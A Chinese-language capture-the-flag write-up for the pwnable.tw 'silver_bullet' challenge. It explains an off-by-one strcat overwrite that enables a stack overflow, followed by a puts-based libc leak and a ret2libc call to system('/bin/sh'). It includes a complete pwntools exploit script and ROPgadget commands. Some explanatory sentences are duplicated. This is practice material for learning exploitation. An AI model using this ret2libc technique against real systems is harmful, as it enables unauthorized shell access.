silver_bullet – 白板off-by-one漏洞利用
    这道题也是pwnable.tw上的一道200分的选单程序题,题目很有意思是一个打狼人的游戏,创造一把枪然后根据用户输入的长度给枪充能,然后去打死狼人。//md语文水平太烂了,讲句话都讲不好。
选单程序咩,先把逻辑分析清楚,看下各个函数。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | int menu(){
 puts("+++++++++++++++++++++++++++");
 puts("       Silver Bullet       ");
 puts("+++++++++++++++++++++++++++");
 puts(" 1. Create a Silver Bullet ");
 puts(" 2. Power up Silver Bullet ");
 puts(" 3. Beat the Werewolf      ");
 puts(" 4. Return                 ");
 puts("+++++++++++++++++++++++++++");
 return printf("Your choice :");
 }
 
 | 
    首先是菜单,显示给用户选项。
    然后是creatbullet函数,初始化银枪并充能。
    之后是powerup函数,主要功能是通过将新输入的字符串与初始化时的字符串strcat连接起来,并计算新的字符串的长度判断是否超过48,如果超过,就输出无法充能,之后更新银枪能量。
最后是beat函数,用银枪去打狼人,如果狼人hp为0就退出main函数。  
利用思路:
    createbullet先输入47个字符进缓冲区,之后进行一次powerup,只输入1个字节,因为输入的是字符串,而且使用的是'strcat'函数,所以输入刚好凑齐48字节,最后的'\0'会将缓冲区的下一个字节覆盖,通过gdb调试可以发现缓冲区的下面一个字节存放的是字符串长度,\0刚好可以将len覆盖,这样我们就能通过powerup函数扩充栈然后构造输入溢出(第二次的powerup能输入47个字节,足够将将ebp后四位覆盖了)并将main函数返回地址覆盖, )由于这里没有像hacknote那样的任意命令执行,考虑ret2libc,通过覆盖返回地址构造rop链最后执行
)由于这里没有像hacknote那样的任意命令执行,考虑ret2libc,通过覆盖返回地址构造rop链最后执行system('/bin/sh')来getshell, 程序中有printf的plt地址,第一次可以将返回地址构造成printf函数调用的地址,由于这里无法使用栈存放参数,所以利用
程序中有printf的plt地址,第一次可以将返回地址构造成printf函数调用的地址,由于这里无法使用栈存放参数,所以利用pop ebx指令将参数放进ebx供printf调用, 然后将返回地址设置为main函数起始地址,之后就是再来一次上面的操作,ret2libc执行system调用getshell。
然后将返回地址设置为main函数起始地址,之后就是再来一次上面的操作,ret2libc执行system调用getshell。
    嗯呐就是这样啦,网上看了下教程好像说大多数的off-by-one都是用来扩充栈容量然后给攻击者溢出的,反正这次mark啦。还有就是找rop链,有个工具叫ropgadget,还是很好用的(ROPgadget --binary ./silver_bullet --only 'pop|ret'用来找pop ebx,ret;ROPgadget --binary ./libc_32.so.6  --string '/bin/sh'用来找/bin/sh字符串)。
    嗯呐大体就是这样子的。这算是个白板off-by-one了吧。
exp如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 
 | from pwn import *
 context.log_level = 'debug'
 context.terminal = ['gnome-terminal','-x','bash','-c']
 local = 1
 if local:
 #exe = './silver_bullet'
 #cn = gdb.debug(exe,'''
 #	b *0x08048984
 #	continue
 #	''')
 cn = process('./silver_bullet')
 bin = ELF('./silver_bullet')
 libc = ELF('./libc_32.so.6')
 else:
 cn = remote('chall.pwnable.tw', 10103)
 bin = ELF('./silver_bullet')
 libc = ELF('./libc_32.so.6')
 def z(a=''):
 gdb.attach(cn,a)
 if a == '':
 raw_input()
 def create(con):
 cn.sendline('1')
 cn.recvuntil('of bullet :')
 cn.send(con)
 def powerup(con):
 cn.sendline('2')
 cn.recvuntil('of bullet :')
 cn.send(con)
 def beat():
 cn.sendline('3')
 p1ret=0x08048475
 create('a'*(0x30-1))
 powerup('b')#power 1
 
 pay = '\xff'*3 + 'bbbb'
 pay+=p32(bin.plt['puts'])+p32(p1ret)+p32(bin.got['read'])
 pay+=p32(bin.sym['main'])
 
 powerup(pay)
 beat()
 cn.recvuntil('win !!\n')
 leak=u32(cn.recv(4))
 print hex(leak)
 libc.address = leak-libc.sym['read']         #image  base address
 success('libc_base: '+hex(libc.address))
 system = libc.sym['system']
 binsh = libc.search('/bin/sh\x00').next()
 
 
 
 
 
 
 
 
 create('a'*(0x30-1))
 powerup('b')
 pay = '\xff'*3 + 'bbbb'
 
 pay+=p32(system)+p32(p1ret)+p32(binsh)
 powerup(pay)
 beat()
 cn.interactive()
 
 |